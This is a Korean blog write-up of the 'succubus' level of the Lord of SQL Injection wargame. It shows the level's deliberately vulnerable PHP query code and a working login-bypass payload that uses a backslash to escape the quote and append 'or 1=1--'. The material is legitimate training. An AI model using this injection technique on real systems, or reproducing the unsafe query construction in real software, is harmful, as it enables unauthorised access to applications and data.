반응형
Lord of SQLInjection
los.rubiya.kr
서큐버스가 매춘부를 뜻하는 단어에서 파생된 것이라니....
아무튼 이번에는 los의 서큐버스를 처리해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
이번에는 오랜만에 id, pw 둘다 입력이 가능한데, 따옴표(')가 사용이 안된다..
이 부분 때문에 고생하다가 구글링으로 힌트를 얻었는데, 바로 이스케이프 문을 사용하는 것이다. \' 이런식으로 나타내면 '이라는 문자 자체를 나타내게 되기 때문에 이를 이용해서 쿼리문에 혼란을 야기할 수 있게 된다.
이를 적용한 것이 아래의 페이로드이다.
id: \
pw: or 1=1
url: ?id=\&&pw=or%201=1--+
query : select id from prob_succubus where id='\' and pw='or 1=1-- '
이스케이프 문자로 인해 중간의 '가 사라지면서 밑줄친 부분이 싹 문자열 취급이 되어 날라가게 된다.
or 1=1 문은 항상 참이기 때문에 조건을 만족하면서 문제를 해결할 수 있게 된다.
반응형
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] assassin 풀이 (0) | 2022.06.12 |
---|---|
[Los] giant 풀이 (0) | 2022.06.12 |
[Los] bugbear 풀이 (0) | 2022.06.12 |
[Los] darkknight 풀이 (0) | 2022.06.12 |
[Los] golem 풀이 (0) | 2022.06.12 |